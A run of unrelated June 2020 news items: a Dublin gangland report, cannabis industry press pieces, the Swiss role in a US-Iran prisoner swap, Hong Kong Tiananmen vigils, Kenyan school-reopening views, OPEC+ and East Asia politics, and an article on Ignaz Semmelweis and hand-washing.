It is understood the duo were travelling in the 40-year-old's own BMW car when Coakley Hutch saw them and gave chase.

The 34-year-old previously worked for Gary Hutch in the 2009 College Green bank robbery, which yielded almost 8m. Hutch's murder in Spain in 2015 sparked the deadly Hutch/Kinahan feud.

"Nathan started driving after them but then the other lads turned around and started chasing after Nathan, who crashed his vehicle into a low-loader in an impact which didn't cause much damage really," a source said.

"The entire incident was caught on CCTV and after the crash Nathan went home and the other car left the area.

"Then some time later a masked man who was apparently armed with a handgun arrived at the family home of Nathan's girlfriend, Nikita Murtagh, in Mariner's Port looking for him but he was not there and the suspect then fled the area.

"Gardai are treating the latter incident as an aggravated burglary, while the first incident is being looked at in relation to dangerous or careless driving. Of course it is being investigated that both incidents are linked.

Tense

"There have been no arrests but things are pretty tense around here.

"There is a lot of stuff going on here - internal rows, some of which are silly but these rows can often develop into more serious things.

"With all this going on, the Hutch mob are losing an opportunity because the Kinahan cartel are perceived as being very weak at the moment with the huge success the gardai have had against them."

Coakley Hutch has been blamed by the Kinahan cartel for being one of the gunmen disguised as an armed garda involved in the 2016 Regency Hotel bloodbath but he has never been arrested for this.

He was locked up in jail when his older brother Derek (27) was shot dead outside Wheatfield Prison on the orders of the cartel in January 2018 - one of 18 murders linked to the feud.

Nathan - nicknamed 'Harry' - had managed to evade any serious prison term for most his life despite being regarded as a major criminal by gardai.

However, his luck ran out in 2017 when he was extradited from the UK to face charges in Ireland related to driving a stolen vehicle and armed robbery.

One of the cases related to a city centre car chase on Christmas Eve 2015, when he was spotted in a stolen car in the Ballsbridge area.

Despite managing to flee the scene, the vehicle was later found to contain the thug's DNA, and a knife and a canister of petrol were recovered. He subsequently received a two-year jail term.

More than a week later, he received a five-year jail term for his role in the armed robbery of a Spar shop in north Dublin. He was released from jail last year.
TORONTO, June 5, 2020 /PRNewswire/ - Liberty Health Sciences Inc. (CSE: LHS) (OTCQX: LHSIF) www.libertyhealthsciences.com ("Liberty" or the "Company"), a provider of high quality cannabis, announced today that it has entered into a licensing agreement with California-based DomPen www.dompen.co, one of the cannabis industry's leading disposable vaporizer pens and cartridge companies. The agreement allows Liberty to sell DomPen products in all its Florida locations by the second week of June.

"Our partnership with DomPen is a great exampl3e of how we listen to our patients and strive to provide them access to the brands they most want to experience," said Victor Mancebo, Chief Executive Officer of Liberty. "We continue to expand our product portfolio of best in class products and collaborate with national, widely known partners in the cannabis space, such as DomPen. They share the same values and mission as Liberty, which is to provide patients the highest quality cannabis products while maintaining the most consistent, flavorful, and easy-to-use vape pens on the market."

DomPen was founded in Los Angeles in 2015 and focuses on developing new cannabinoids and customized vaporization hardware. The company is known for its innovative manufacturing and distribution capabilities along with its standardized quality control methods to improve product safety, consistency, and predictability.

"We are thrilled to bring one of California's top vaporizer brands to Florida's expanding medical market," said Jake Catt, a spokesperson for DomPen. "We are equally excited to launch with a trusted partner like Liberty Health Sciences who shares our commitment to providing patients safe, reliable, and thoroughly tested cannabis products developed to fit any lifestyle. As affordable premium products, DomPen all-in-one vaporizers and Dom cartridges offer Floridians a range of popular strains that patients in other states have trusted and enjoyed for years."

Patients may place an order online at www.libertyhealthsciences.com for in-store pick-up or delivery.

About Liberty Health Sciences Inc.

Liberty is the cannabis provider committed to providing a trusted, high quality cannabis experience based on our genuine care for all cannabis users and a focus on operational excellence from seed to sale. Liberty's measured approach to expansion opportunities is focused on maximizing returns to shareholders, while keeping consumers' well-being at the forefront of what we do. For more information, please visit: www.libertyhealthsciences.com.

CAUTIONARY NOTE REGARDING FORWARD-LOOKING STATEMENTS: This press release contains certain forward-looking statements within the meaning of applicable securities laws. Any statements that are contained in this news release that are not statements of historical fact may be deemed to be forward-looking statements. Forward-looking statements are often identified by terms such as "may", "should", "anticipate", "expect", "believe", "plan", "intend" or the negative of these terms and similar expressions. Forward-looking statements in this news release include, but are not limited to, expectations related to the Company's production capabilities, expectations concerning the receipt of all necessary approvals from the Florida Department of Health, expectations concerning the opening of new dispensaries and the expansion of its greenhouse space, and the Company's future expansion and growth strategies. Forward-looking statements necessarily involve known and unknown risks, including, without limitation, risks associated with general economic conditions; adverse industry events; marketing costs; loss of markets; future legislative and regulatory developments involving medical marijuana; inability to access sufficient capital from internal and external sources, and/or inability to access sufficient capital on favorable terms; the medical marijuana industry in the United States generally, income tax and regulatory matters; the ability of Liberty to implement its business strategies; competition; crop failure; currency and interest rate fluctuations and other risks. Readers are cautioned that the foregoing list is not exhaustive. Readers are further cautioned not to place undue reliance on forward-looking statements as there can be no assurance that the plans, intentions, or expectations upon which they are placed will occur. Such information, although considered reasonable by management at the time of preparation, may prove to be incorrect and actual results may differ materially from those anticipated. Forward-looking statements contained in this news release are expressly qualified by this cautionary statement.

SOURCE Liberty Health Sciences Inc.

Related Links

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Switzerland has confirmed its role in the US-Iran silent deal that led to the release of American Michael White from Tehran and Iranian Majid Taheri from Washington citing humanitarian gesture. In a statement released on June 5, a day after White arrived in the US after being detained in Iran for nearly two years, Swiss Foreign Ministry said that it welcomes the move by both the country. Switzerland has also assured that it would be willing to help both the US and Iran in building mutual trust.

The statement said, Switzerland had contributed to the successful exchange of prisoners. She is responsible for protecting power mandates against the USA and Iran. Switzerland's role in these mandates includes negotiations with the participating countries and the constant creation of confidence-building measures.

Read - Arjun Kapoor Shares 'OG Avenger' As He Gives Thanos' Snap A Hilarious 'Tirangaa' Twist

Swiss Federal Councilor Ignazio Cassis also hailed the reuniting of detainees with their families as another step that was successfully completed that was in accordance with Switzerlands sustained tradition of good offices. The United States Navy veteran was detained in Iran in 2018 and was released on June 4. US President Donald Trump and Iranian Foreign Minister Javad Zarif confirmed the arrival of both individuals. Whites mother expressed her sigh of relief and said, nightmare is now over.

A further step successful completed: I welcome the humanitarian gesture of Iran and the United States that led to the release of the American and Iranian citizen. We stand ready for further facilitation, in accordance with our long-lasting tradition of good offices.  Ignazio Cassis (@ignaziocassis) June 4, 2020

Read - Iran News Agency Head Convicted For Interviewee's Spy Remark

Part of the consular

In the official release, the Swiss government said that as protective power it assumed the role of the consular and/or diplomatic tasks if both US and Iran break their relations. It also credited itself for Washington and Tehran to maintain relationships and offered the postman function on its own or on the request of the countries concerned.

As a protective power, Switzerland assumes part of the consular and/or diplomatic tasks if two states break off their relations in whole or in part. Thanks to the protective power, states can maintain minimal relationships and the protective power grants consular protection to nationals in the other state, Swiss FDFA.

Read - Detained US Navy Veteran Freed By Iran

Read - Google Claims Chinese, Iranian Hackers Targeted Trump And Biden's Presidential Campaigns

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Linkedin James Pomfret and Scott Murdoch (Reuters) Hong Kong  Fri, June 5, 2020 06:45 595 fc6853813033f564188675f8bdc3cd86 2 World Hong-Kong,candlelight-movement,vigil,Tiananmen-Square,pro-democracy Free

Police pepper-sprayed some Hong Kong protesters on Thursday who defied a ban to stage candlelight rallies in memory of China's bloody 1989 Tiananmen Square democracy crackdown, accusing Beijing of stifling their freedoms too.

Scuffles broke out briefly in the working-class Mong Kok area where hundreds had gathered and some demonstrators tried to set up roadblocks with metal barriers, prompting officers to use spray to disperse them, according to Reuters witnesses.

It was the first time there had been unrest during the annual Tiananmen vigil in Hong Kong, which police had prohibited this year citing the coronavirus crisis.

Several protesters were arrested, police said.

Earlier, a few thousand people joined a peaceful main rally in Victoria Park, many wearing masks and chanting slogans such as "Liberate Hong Kong, revolution of our time" and "Fight for freedom, stand with Hong Kong."

"We are just remembering those who died on June 4, the students who were killed. What have we done wrong? For 30 years we have come here peacefully and reasonably, once it's over it's 'sayonara' (goodbye)," said Kitty, a 70-year-old housewife.

The anniversary has struck an especially sensitive nerve in the former British-ruled city this year after China's move last month to impose national security legislation and the passage of a bill outlawing disrespect of China's national anthem.

It also comes as Chinese media and some Beijing officials voice support for protests in the United States against police brutality.

In Beijing, security around Tiananmen Square, a popular tourist attraction in the heart of the city, appeared to be tightened, with more police visible than on ordinary days.

June 4 commemorations are banned in mainland China.

In Hong Kong, which just reported its first locally transmitted coronavirus cases in weeks, police had said a mass gathering would undermine public health.

But many took to the streets to light candles and stand for a minute's silence. Seven Catholic churches opened their doors. Some people held photos of the 1989 events, including a famous one of a man standing in front of a tank convoy.

Millionaire publishing tycoon Jimmy Lai and Democratic Party founder Martin Lee, who were both arrested in April over protests last year, left a church service together.

"We are afraid this will be the last time we can have a ceremony but Hong Kongers will always remember what happened on June 4," said Brenda Hui, 24, in Mong Kok, with a white battery-illuminated umbrella that read "Never Forget June 4."

Western solidarity

The European Union and United States both expressed solidarity with the Hong Kong demonstrators' desire to mark the Tiananmen anniversary.

Democratically-ruled and Beijing-claimed Taiwan, where more than 500 people gathered in Liberty Square, asked China to apologize, which the mainland called "nonsense."

"In China, every year has only 364 days; one day is forgotten," Taiwan President Tsai Ing-wen wrote on her Facebook page. "I hope that in every corner of the earth there won't be any days that are disappeared again. And I wish Hong Kong well."

China has never provided a full account of the 1989 violence. The death toll given by officials days later was about 300, most of them soldiers, but rights groups and witnesses say thousands of people may have perished.

There was no mention of the anniversary in Chinese state media. But Hu Xijin, editor of the Global Times, a nationalistic tabloid published by the ruling Communist Party's People's Daily, tweeted a screenshot of the U.S. statement with his own commentary.

"The Tiananmen incident gave Chinese society a political vaccine shot, which has enabled us to be immune to any color revolution. 31 years later, riots emerged and spread in the U.S. They only think of exporting it, but forget to prepare vaccine for themselves."

Hu did not elaborate. The term color revolution is often used to describe peaceful uprisings in former Soviet states but has also been used to describe other popular movements.

In Hong Kong, officials have repeatedly said a ban on groups larger than eight is a public health measure with no political motivation.

Earlier on Thursday, some students in Hong Kong followed the annual tradition of repainting a Tiananmen memorial message on a university campus bridge: "Souls of martyrs shall forever linger despite the brutal massacre. Spark of democracy shall forever glow for the demise of evil."
A local candy company is leveraging close to 100 years of experience making chewy fruit candy into a brand new operation that will put Winnipeg in the centre of the cannabis confectionery map for Canada.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

A local candy company is leveraging close to 100 years of experience making chewy fruit candy into a brand new operation that will put Winnipeg in the centre of the cannabis confectionery map for Canada.

James Fletcher, whose family owns Cavalier Candies, is 20 per cent owner of the Edible and Infusion Co. which is now in the final stages of the process to receive a licence from Health Canada.

Mark Lennihan / The Associated Press Gummy worms, containing 10 milligrams of cannabidiol.

When it becomes operational it will be the largest cannabis gummy manufacturer in the country maybe in the whole world

In partnership with AgraFlora Organics International, an integrated cannabis company based in Vancouver, the $20-million operation is now just tinkering with final recipes awaiting its production licence which company officials believe should be in hand to start production before the end of the year.

"Unlike licenced producers who have to wait to grow their crop after they first get their licence, we can start production the very next day," Fletcher said.

The 51,000 square foot plant features all sorts of automated equipment and is designed to produce about 250,000 pieces of candy per eight-hour shift. Depending on demand the plant will require between 80 to 120 employees.

In the meantime, the plant has been fitted out with all the stringent safety and security features Health Canada requires, including lots of stainless steel, about 300 video cameras, scanners on every single door and, according to Fletcher, "about 50 miles of cable."

JOHN WOODS / WINNIPEG FREE PRESS James Fletcher, CEO of the Edibles and Infusion Corporation.

"Unlike licenced producers who have to wait to grow their crop after they first get their licence, we can start production the very next day."  James Fletcher

John Fowler, one of the original founders of the Canadian cannabis industry and the former president of Supreme Cannabis, is a consultant to AgraFlora in its efforts to become a vertically integrated operation with cannabis production in British Columbia (which was just licenced) as well as a joint venture in a cannabis oil extraction business in Ontario and now a confectionery production in Winnipeg.

He said there is a high degree of confidence that it will be successful in its manufacturing licence application that was just submitted.

"Our team has made some great decisions around infrastructure and procedures and quality and safety, all the things we believe Health Canada is looking for in a successful application," he said.

With edibles regulations only recently having been established, company officials believe they will have a leg up not only because this plant will have been planned after the regulations were finalized but also because it is focused exclusively on gummies whereas others in the country have gone with chocolates or baked goods.

MIKE DEAL / WINNIPEG FREE PRESS Cannabis edibles are now available for purchase at Winnipeg cannabis stores.

"Anecdotally, try to buy gummies today. They are sold out constantly," Fletcher said. "With uncertainty as to whether gummies would be legal, all the big manufacturers went with chocolate. The most in-demand item is gummies and very few are making them in Canada."

Fletcher said the undertaking will not be too much different from the business Cavalier has been doing for 98 years. It already has supplier contracts for sugar, glucose and flavour ingredients. It just has to account for the strong pungent flavour of the cannabis oil so that it doesnt taste like chewing on a marijuana plant.

"The challenge for us is really in making sure we pick the right flavour profile to be able to mask that," he said.

Getting into the cannabis edibles business is not such a stretch for the family known for its soft, chewy fruit gummies, and it had been looking into getting into a new building for a while.

"This was not that much of a jump for us," Fletcher said. "Weve done lots of research and planning and looking at equipment. Then this opportunity came along. It was perfect timing to be able to take all the research and planning we have done and deploy it immediately to make something in high demand."

Weve done lots of research and planning and looking at equipment. Then this opportunity came along. It was perfect timing to be able to take all the research and planning we have done and deploy it immediately to make something in high demand.  James Fletcher

Fowler said with the initial capacity the plant will have the ability to generate close to $100 million in annual revenue.

It is being designed as a private label manufacturer and discussions are underway with many of the largest cannabis companies.

"That will let us scale up quickly in line with demand," Fowler said. "Our primary focus between now and licensure later this year is building relationships with private label clients so that we can know exactly what level of demand we are producing for."

The regulations allow for a total of 10 milligrams of THC per package of edibles (compared to the U.S. which allows for 100 milligrams of THC per package). EIC will make individual pieces contained 2.5 milligrams to five milligrams of THC each.

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Fletcher said that while the black market edibles claim to have higher THC quantities that labelling is often not accurate.

But he said inexperienced consumers will be satisfied with 10 milligrams. And for the experienced enthusiast there is no regulation against buying and consuming more than one package at a time.

martin.cash@freepress.mb.ca
As Kenya gets to the third month since the first COVID-19 case was reported in the country on Friday, March 2013, the government is under pressure and in a dilemma of whether to open up the economy or not.

The education sector is among the most affected sectors courtesy of measures put in place to counter the spread of the virus.

READ ALSO: 42-year-old blind widow who lost husband to COVID-19 appeals for help to raise 3 children

Classrooms, teachers' shortage a major concern as gov't mulls ovwr reopening schools - TUKO.co.ke spotcheck

Source: Original

READ ALSO: Nairobi mum appeals for medical support for teenage son with grown breasts

A spot check by TUKO.co.ke gathered varying views from parents, teachers and students across primary, secondary and post-secondary learning institutions.

In Homa Bay, teachers and parents said they do not have the capacity to stringently adhere social distancing rules in case schools reopen now.

Bernard Omondi, a senior teacher at St.Vincent Odhiere in Kasipul constituency explained most of the schools' infrastructure was overstretched due to overpopulation resulting from the 100% transition and free education programmes.

"The hostels and classrooms are already overcrowded. Our schools lack the capacity to maintain regular sanitation of these amenities," Omondi told TUKO.co.ke.

Omondi observed, reopening of schools without risking the students' health is not feasible at the moment and would pose a threat to students from areas that have not recorded many cases.

READ ALSO: Ford Kenya wrangles: Wetang'ula suffers another blow after registrar revokes suspension of rebel members

The teacher said students are vigorous, outgoing and would easily mingle with others and increase chances of infections.

"We have almost 30 students who come from Nairobi and Mombasa. This would pose a serious threat to other students from other non-hotspot counties thus heightening the spread of the virus," he added.

He also urged parents to avail learning platforms like TV sets, computers and smartphones to assist their children to follow through syllabuses and KICD approved programmes.

Ibrahim Husain, a pupil at Agwang Primary School said the government should consider putting up more classrooms to enable pupils to meet the social distancing directive.

"In my school, we have 50 pupils in Class Eight. This means that four more classes should be built so that we can have 15 pupils per room," he said.

READ ALSO: 7 American celebrities who traced their roots to Africa

Classrooms, teachers' shortage a major concern as gov't mulls over reopening schools - TUKO.co.ke spotcheck

Source: Original

He further proposed that controlling pupils to maintain social distance would be hard for young pupils in lower classes who quickly forget.

"As much as we will be trying to control them it will be hard on us because most of them easily forget things. It will be hard during class discussions as well" he added.

The pupil observed that they would only be able to control pupils when entering the school but not during breaks in between learning hours and when leaving school.

"The young ones can also end up sharing face masks with their friends because most of them don't have full knowledge of the virus or just as part of their games," Husain explained.

He argued that if social distancing will be successful in churches and public places for adults, then younger Kenyans can emulate.

READ ALSO: They have been there for us: Murang'a youth celebrate officers manning Thika road block

Sharon Otieno, a mother of two said the reopening of schools would be endangering the lives of children.

She said the number of the people getting infected is still surging, therefore a real concern that should inform reopening of schools and churches.

"We cannot play with the lives of our children. Better we stay with them at home rather than risk their lives by allowing them back to school," Otieno said.

She further expressed her worry questioning the capability of public schools to maintain social distancing, given the shortage of infrastructure.

Her firstborn, Stanley Otieno who is in Class Seven though said he would be keen to observe social distance if schools reopen.

READ ALSO: Alive and well: Bishop Margaret back to doing home chores days after being declared COVID-19 free

Stanley's sister Jentric Achieng, 8, said she does not know how the virus is being transmitted.

She, however, said she knows it is important to avoid crowded places, wearing face masks and frequent hand washing

Similar sentiments were expressed by teacher, parents and pupils in Trans Nzoia county.

Samuel Kiptoo Yatich a teacher at Kibomet Primary School said if the government would have fulfilled its pledges of improving infrastructure, implementing the laptop project and hiring more teachers then a returning to school would be smooth.

Currently, he observed, it was close to impractical to achieve social distancing, especially in public learning institutions due to the shortage of classrooms against high numbers of learners.

READ ALSO: Radio host Celina Njoki off oxygen support days after getting admitted in ICU

Coronavirus has just brought to light the demands we have been pushing for over years. It is clear that we have never been demanding for too much by asking for more classrooms, teachers and adoption of ICTs in learning and teaching, he said.

He cited a policy framework that had been pushed by the Kenya National Union of Teachers.

The policy framework that Knut has been asking the government to implement on classes per student per teacher could really help in such time of COVID-19," he said.

If the requested ratio would have been achieved, we would not need to worry about social distancing, Kiptoo added.

Makunga Primary School in Trans Nzoia, for instance, has a total population of 600 pupils with two streams of classes.

READ ALSO: Former Lesotho first lady arrested again over killing of husband's ex-wife

Classrooms, teachers' shortage a major concern as gov't mulls over reopening schools - TUKO.co.ke spotcheck

Source: Original

Kiptoo felt such a school could not achieve the social distancing requirement thus a risk to students in case learning institutions are re-opened.

Even as the government urges parents to encourage kids to study online vulnerable families are struggling to even put food on the table for their children, leave alone access the internet or buy television and radio sets.

Mzee James Long'oria a parent of four children studying at Makunga Primary School, admitted that it was difficult to feed children and get them internet when the economy was not doing well.

I would love my children to study online but I have to get food for them first. The economy is bad, there is no money for that and government should see how to help some of us who hardly afford basic needs, Longoria said.

Different parts of the country continue to scratch their heads about the world's pandemic disease of coronavirus which so far has claimed over nearly four hundred thousand people worldwide.

READ ALSO: George Floyd: Barack Obama asks protesters to make people in power uncomfortable

"I have seen many coronaviruses immemorial which we know it's severe common colds and people do cough persistently, with high temperatures," Peter Makau told TUKO.co.ke

"But in our places, we used to drink aloe vera juice," he added.

According to the elderly man, people from the Kamba community did not have a problem with these 'common cold' and that it was only the white men who cared.

He said they could take herbal medicine and go about their businesses as usual.

However, he said schools should remain closed until the third term to contain the spread of the virus from urban centres while calling for thorough testing if at all schools will be reopened

READ ALSO: Kieni MP Kanini Kega on the spot for locking tenants' houses over unpaid rent

On her part, Purity Mumbua cited schools should remain closed since many learners did not have enough facilities to observe social distancing as well as water and hand sanitizers.

"There are a lot of congestions in public schools! Now private schools will not afford to buy disinfectants over income," Mumbua said

A parent at Kengo Primary school noted that only Class Eight and Form Four candidates should be allowed back to school after they go through the testing of COVID-19

A form three student at Kawooni Secondary School, Christine Muinde, understands COVID-19 as an airborne disease that when transmitted to others, their chances of survival were unpredictable

The camera-shy student, noted that movements of teachers and students from different parts of the region could risk their lives adding that they better remain indoors

READ ALSO: George Floyd: 3 other ex-cops involved in black man's killing to be charged with abetting murder

Classrooms, teachers' shortage a major concern as gov't mulls over reopening schools - TUKO.co.ke spotcheck

Source: Original

To the contrary, Evelyn Nthambi a form two student at St Catharine's Lema Girls urged the Ministry of Education to reconsider reopening of schools as they are tired of staying at home

"Even though many schools including ours can not manage to combat the spread of disease, we are very behind in syllabus," Nthambi narrated

She compared COVID-19 to a roaring lion adding that their dormitories are not spacious for maintaining one metre apart social distance.

The student called on the calling government to cater for all facilities and disinfectants

Eugene Seva and Abraham Ambeza, both Kenya Certificate of Primary Education (KCPE) candidates at Kabiria Primary schools think that reopening of learning institutions will expose most of the learners to high risk of contracting the virus.

Seva argued Kabiria primary had no enough and clean running water while Ambeza said they were over 200 candidates hence the schools may not be able to adhere to the one-metre rule.

A vocal teacher at Kabiria Primary who sought anonymity, however, said the school had enough structures but if the one-metre rule must be considered then the school will have to hire more teachers.

Stories by Naomi Akoth, Davis Bwayo, Aaron Ndonyi and Enock Ndayala - TUKO.co.ke correspondents.

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The Organization of the Petroleum Exporting Countries (OPEC) and allies led by Russia, a group known as OPEC+, will meet on Saturday, June 6, Algeria's Ennahar TV channel reported on Friday, citing an OPEC source.

The source added that the meeting will discuss extending a deal on oil output cuts.
By Tomoyuki Tachikawa, KYODO NEWS - Jun 5, 2020 - 19:05 | World, All

U.S. President Donald Trump's hardline response to the raging protests stemming from the death of black man in police custody in Minneapolis may open a window of opportunity for China to prevent Washington from getting involved in East Asian affairs.

Since his initial threat to deploy the military to quell what he calls "riots" drew stinging criticism, Trump has softened his rhetoric in recent few days. But fears linger that if he really sends troops, this would effectively give China a green light to resort to force in Hong Kong.

Given the Trump administration's apparent failures in responding to the new coronavirus and his rising disapproval rating, some diplomatic sources have become skeptical about whether he can be re-elected for a second term in the presidential election in November.

Trump's shifting of East Asia onto the back burner could bolster China's power in the region, allowing Beijing to ramp up pressure on Hong Kong and Taiwan, blurring the fate of the Korean Peninsula, and compelling Japan, a U.S. close ally, to reshape its diplomatic policy.

"If Trump takes military action to thwart ongoing protests, China would not hesitate to suppress protests in Hong Kong by force. If Trump loses the election, nobody would strongly deter China ahead," one of the sources said.

"The security environment in East Asia would become very uncertain and even dangerous. Trump should act decisively, while being fully aware that his moves have always influenced other countries," he added.

Across the United States, protests have erupted over the death of George Floyd, 46, at the hands of a white police officer in the midwestern state of Minnesota.

Curfews have been imposed and the National Guard, which responds to domestic incidents, has been activated in a large number of cities, including the U.S. capital, to repress the protests, many of which have turned violent with people looting and setting fire to buildings and vehicles.

In Washington, near the White House, police countered protesters by firing tear gas. Earlier this month, Trump pledged to deploy "thousands and thousands of heavily armed soldiers" if necessary to put down the violence, calling himself a "president of law and order."

His remarks came after China's parliament on May 28 passed a resolution to introduce a national security law to crack down on what Beijing views as subversive activity in Hong Kong, antagonizing pro-democracy protesters in the territory.

"Why does the U.S. refer to those (advocating) 'Hong Kong independence' and black-clad rioters as 'heroes' and 'fighters' but label its people protesting against racial discrimination as 'thugs'?" Chinese Foreign Ministry spokesman Zhao Lijian said.

"Why did the U.S. have so many problems with the restrained and civilized way of law enforcement by the Hong Kong police but have no problem at all with threatening to shoot at and mobilizing the National Guard against its domestic protesters?," he added.

The Global Times, a tabloid affiliated with the ruling Communist Party, said, "If U.S. politicians understood that if they encourage violence in another country, their words might backfire on them one day, they would probably 'think twice' before commenting again on the Hong Kong turmoil in the future."

Already tense Sino-U.S. relations have been deteriorating also over the origins of the new virus, first detected in the central Chinese city of Wuhan late last year, as Trump has accused Beijing of trying to initially cover up the outbreak.

China, however, has almost contained the virus that causes respiratory disease COVID-19, while the United States has become the world's worst-affected nation.

"At present, the situation in the United States is still very serious. People's lives are at stake," Zhao said. "We urge those in the U.S. who still want to label and politicize the virus to put their mind and energy into fighting the epidemics at home."

By providing an excuse for Beijing to evade responsibility for its apparent missteps in the early days of the coronavirus outbreak and to tighten its grip on Hong Kong, where massive protests against mainland China repeatedly took place last year, Trump has also come under fire both domestically and internationally.

"The president has offered polarizing tweets that further strain our country's social and political fabric, and has put forth proposals intended to chill speech instead of protect it," said Michael Abramowitz, president of the Washington-based Freedom House.

"Coupled with the human and economic impact of the COVID-19 pandemic, all of this makes for a profoundly unsettling time that calls for moral and political leadership to bring our country together," said the head of the nongovernmental watchdog on democracy.

Jeff Kingston, director of Asian Studies at Temple University Japan in Tokyo, said, "Domestic protests started in reaction to yet another police murder of a black man but have now morphed into a wider protest against the cry-baby in chief who is seen widely as a malignant buffoon."

When asked about sending the military to cities in a TV interview aired Wednesday, Trump said, "I don't think we'll have to," but added, "It depends," indicating he has not completely abandoned the move as an option.

Even if he avoids using the military to get the latest protests under control, "By throwing fuel on the fire and cheerleading repression Trump looks like a tin-pot despot," Kingston said.

A source familiar with East Asian affairs said, "Given his recent policy gaffes, Trump might not get re-elected. This would have major effects on security issues surrounding East Asia."

"With Trump's presence vanishing in the region, China may continue taking unreasonable steps to undermine human rights in Hong Kong, become keener to reunify Taiwan by force and attempt to deepen ties with nuclear-armed North Korea," he said.

"Japan has been getting along with the United States so far, but if Trump leaves the political arena, bilateral relations would change, while China would remain a very important trading partner for Japan," the source said.

"As Japan has to make every effort to rebuild its economy hit hard by the coronavirus pandemic, it cannot offend China. Japan would have to reconsider its diplomatic strategies toward the United States, China and the East Asia region," he added.

(Miya Tanaka in Washington contributed to this story.)
" " Ignaz Semmelweis washes his hands in chlorinated lime water before operating. He discovered that doing this would reduce the rate of maternity deaths. Bettman/Getty Images

If ever you were frustrated with your mom because she constantly told you to wash your hands, remember this  it was because so many mothers died that hand-washing first became a thing. And that, dear reader, is how we begin the strange, sad story of Ignaz Semmelweis, a 19th-century doctor and father of infection control.

Semmelweis was born in Hungary in 1818, and after graduating from medical school, he started a job at Vienna General hospital (Austria) in 1846. There, he became aghast at the mortality rate of new mothers in a particular ward.

In this ward, up to 18 percent of new mothers were dying from what was then called childbed fever, or puerperal fever. Yet in another ward, where midwives  instead of doctors  delivered all the babies, only about 2 percent of mothers perished after childbirth, according to the British Medical Journal.

Semmelweis began reasoning his way to the root of the problem. He considered climate and crowding, but eventually ruled out those factors. In the end, the midwives themselves seemed to be the only real difference between the two wards.

Then, Semmelweis had an epiphany. One of the hospital's doctors, a pathologist named Jakub Kolletschka, accidentally nicked himself with a scalpel that he'd used during an autopsy of one of the unfortunate mothers. He was sickened with childbed fever and died.

Semmelweis believe that the doctors were dissecting infected corpses and  cue gag reflex  immediately afterward, delivering babies, without stopping to wash their hands. He suspected that this was the source of the deadly problem.

"Basically, his hypothesis here was that it was cadaveric matter from the scalpel that entered Kolletschka's blood and caused the infection, and that same material could be transferred to the women on the hands of the doctors  because the doctors would do autopsies and then go straight to examine the women who had given birth, without washing their hands, changing their clothes or basically taking any hygienic measures at all," says Dana Tulodziecki, a philosophy professor at Purdue University via email.

"He then tested this hypothesis by requiring people who had performed autopsies to wash their hands with chloride of lime  a disinfectant  before attending the women and after this the mortality rate in the first clinic fell to that of the second."

You'd think that Semmelweis' fellow doctors would be lauding him for this discovery. But you'd be wrong.

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Why Semmelweis' Hypothesis Was Rejected

In the 1840s, there was no such thing as germ theory (the theory that diseases are caused by organisms only visible with a microscope). People still suspected that diseases transferred from one person to another via toxic odors, not bacteria or viruses. This was called "miasma theory." In washing their hands, they probably wanted to be rid of whatever was causing a terrible odor, not kill germs that might wreak havoc on them or someone else.

"Physicians of Semmelweis' time simply did not understand or believe that something microscopic could be wreaking such havoc on their patients," says Michael Millenson, an adjunct professor of medicine at Northwestern University and the author of "Demanding Medical Excellence: Doctors and Accountability in the Information Age."

"They literally believed their own eyes," he says via email. "Lest we feel too smug, consider how many people currently embrace a lack of COVID-19 deaths among 'people like me' (geographically, racially, economically or otherwise) as evidence that scientists are overestimating the pandemic's risk."

Better hand-washing regimens dramatically improved death rates at the maternity ward. But Semmelweis' colleagues were, at best, miffed at the implication that their ignorance was killing their own patients  and perhaps that midwives were better at delivering babies than they were. Semmelweis' own supervisor thought the hospital's new ventilation system was the reason for the decline in maternity deaths.

" " A portrait of Ignaz Semmelweis, Hungarian obstetrician and father of infection control. DeAgostini/Getty Images

So, those doctors rejected his theories  and Semmelweis himself  as inferior. They opted to stick with their miasma theory, and for good measure, in 1849, didn't renew his appointment.

It didn't help that Semmelweis was a poor communicator. In his direct attacks, he essentially laid the deaths of the ward's mothers at the feet of his superiors. Semmelweis was also a Hungarian in Austria  a foreigner working in a country suffering in the throes of xenophobia. Not exactly ideal footing for suggesting a fundamental medical paradigm shift.

Semmelweis eventually got a medical position in Budapest where he "publicly harangued doctors and nurses about hand-washing and reduced maternal mortality," according to the BMJ. He eventually published a book on the subject some 14 years after his discovery. It was poorly written and poorly received.

Possibly suffering from mental illness, or else simply broken from his rejection at the hands of the medical establishment, Semmelweis wound up at an asylum in 1865. Weeks later he was dead of an infection from a wound that he received in the facility. He was just 47 years old.

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The Myths and Reality of Ignaz Semmelweis' Discovery

Semmelweis left behind a monumental legacy  but one that's not without flaws. One myth that surrounds Semmelweis is that he was the first to suggest a theory about doctors transmitting germs.

"He wasn't really a pioneer  other people before Semmelweis had hit upon the idea that childbed fever could be transmitted from doctor or midwife to patient," says Tulodziecki. "For example, Alexander Gordon of Aberdeen showed in 1795 that childbed fever was almost always transmitted by doctors or midwives and also that it was connected to erysipelas (a kind of streptococcal skin rash). (He also thought the best treatment was copious bleeding, but that's a different story)."

Tulodziecki adds that many people in the first part of the 19th century confirmed Semmelweis' views about transmission. That included, to name just a few, John Armstrong, William Hey and John Robertson in the United Kingdom.

"In the states, famously, there was Oliver Wendell Holmes (who was a physician but is now much better [known] as a poet), who wrote a very elegant essay called 'The Contagiousness of Puerperal Fever' in 1843, a year before Semmelweis even completed his M.D."

Another misunderstanding is that doctors of his time outright rejected Semmelweis' ideas. They didn't. It's just that they attributed childbed fever with a range of variables, such as predisposition, environment and many other factors.

"But because people already had such a long list," says Tulodziecki, "adding cadaveric or decomposing animal matter really wasn't such a big deal to them. And lots of people  some of them pretty big shots  did add this to their list and started disinfecting their hands. So, it's just not true that that part was universally rejected."

In the 1860s, Louis Pasteur started working on what would eventually become the theoretical explanation behind Semmelweis' observations. And in the 1880s, thanks to the pioneering work of Joseph Lister and others, people started using antiseptic techniques in surgical and maternity wards, which is when mortality rates from childbed fever really began to fall. "Lister probably actually did more for reducing childbed fever than Semmelweis, even though Lister wasn't concerned with childbed fever specifically," she says.

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Hand-washing Today  Still a Challenge

Even after, scientists realized that Semmelweis had been right all along about hand-washing, this simple act still remains a challenge throughout society.

That's partly because we human beings cannot see bacteria and viruses. A January 2020 poll found 40 percent of Americans don't always wash their hands after going to the bathroom. Even doctors and nurses may rationalize that their own behavior had nothing to do with spreading disease.

"Patients get infections for many reasons. They come into contact with many people and many objects and have compromised immune systems," says Millenson. "And by definition, those who forget to wash or don't do it properly don't know that they forgot or were ineffective.

